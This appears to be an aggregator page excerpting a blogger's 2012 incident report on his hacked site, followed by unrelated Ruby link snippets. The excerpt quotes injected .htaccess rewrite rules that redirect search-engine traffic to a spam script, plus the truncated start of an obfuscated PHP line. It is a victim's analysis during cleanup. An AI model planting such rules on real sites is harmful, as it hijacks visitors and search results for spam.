02 Apr '12, 12pm

Sam Ruby: Hacked

Hacked Mon 02 Apr 2012 at 11:16 This site was hacked. A reader of the site noted that Google’s index of this site had been co-opted by dubious pharmaceutical offerings. I’ll gladly thank that individual publicly if they give me permission to do so; but my email reply got bounced as spam. The immediate culprit was the addition of the following lines to a number of .htaccess files: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_USER_AGENT} (google|yahoo) [OR] RewriteCond %{HTTP_REFERER} (google|aol|yahoo) RewriteCond %{REQUEST_URI} /$ [OR] RewriteCond %{REQUEST_FILENAME} (html|htm|php)$ [NC] RewriteCond %{REQUEST_FILENAME} !common.php RewriteRule ^.*$ /common.php [L] </IfModule> I removed those lines, as well as the common.php file, and scanned any and all php files on my site. I saw the addition of lines such as the following: $FYAqxDo='p'.'r'. 'eg_repl'. 'ace...

Full article: http://www.intertwingly.net/blog/2012/04/02/Hacked

Tweets

Sam Ruby: Improved Wunderbar JSON support

intertwingly.net 01 Apr '12, 1pm

Improved Wunderbar JSON support Sun 01 Apr 2012 at 12:57 I’ve integrated jbuilder like functionality into Wunderbar . Key ...

Impressive site just using SVG

intertwingly.net 07 Apr '12, 12pm

Hacked Mon 02 Apr 2012 at 11:16 This site was hacked. A reader of the site noted that Google’s index of this site had been...

Sam Ruby: Keeping it on the Rails

intertwingly.net 28 Mar '12, 9pm

The previous error that was caught was connection pool of new applications have size 1 . This demonstrates the unique valu...

Ruby Certification: Ruby Study Notes - Best Rub...

rubylearning.com 04 Apr '12, 8am

The Ruby Association Certified Ruby Programmer examinations are intended for such people as engineers who design, develop,...

Shaheizy Sam mahu jadi penyanyi

Shaheizy Sam mahu jadi penyanyi

izyan.com 31 Mar '12, 3am

"Kalau diikutkan, minat saya sejak dari kecil adalah untuk bergelar sebagai penyanyi. Namun apabila sudah dewasa, tawaran ...

[Rev:b04899ec] formula updated: ruby-enterprise...

rubyenterpriseedition.com 01 Apr '12, 6pm

Ruby Enterprise Edition is a server-oriented friendly branch of Ruby which includes various enhancements: A copy-on-write ...

I got hacked somehow so I will have to recreate...

andrewisgettingfit.com 28 Mar '12, 3am

I got hacked somehow so I will have to recreate this site when I get some time. My apologies for anyone who got redirected...

Jay Fields Thoughts: Ruby: Adding a "not" metho...

blog.jayfields.com 01 Apr '12, 5pm

Fair enough. The example was contrived, and thus lost some of it's value I'm sure. Although, I do prefer obj.not.nil? to j...

Got two mentions in this week's Ruby Weekly. De...

rubyweekly.com 05 Apr '12, 1pm

Welcome to issue 87 of Ruby Weekly! Well I warned last week's Ruby Weekly might not turn up and.. it didn't ;-) I was in t...

Rubeque - головоломки на Ruby

rubyflow.ru 30 Mar '12, 6am

Решение задач - один из отличных способов хорошо провести время и узнать что-то новое. Проект Rubeque - это сборник из нес...

Ruby Best Practices - Code Blocks: Ruby's Swiss...

blog.rubybestpractices.com 29 Mar '12, 10pm

So even if we label all methods that accept a block as iterators, we know the story runs deeper than that. With this in mi...

Unicode in Regex - Ruby Forum:

ruby-forum.com 28 Mar '12, 11am

> Regular expressions for all character work would be a *terribly* slow > way to get things done. If you want to get the n...

Am I missing something or is this page laughabl...

guides.rubyonrails.org 01 Apr '12, 2am

The very first parameter, a string, is the text of the link which appears on the page. The second parameter, the options h...

I Got Hacked. Here’s What I Learned From It

I Got Hacked. Here’s What I Learned From It

morganlinton.com 23 Mar '12, 6pm

Keep all scripts on your site up-to-date. This is an oldie but a goodie. Hackers are always looking for exploits in script...

Ruby on Railsで複合キーを扱う(7) -- 補遺

Ruby on Railsで複合キーを扱う(7) -- 補遺

oiax.jp 31 Mar '12, 3pm

date = Date.new(2010, 1, 1) %w(robot automobile ship).each do |code| Department.create!({ code: code, name: code.capitaliz...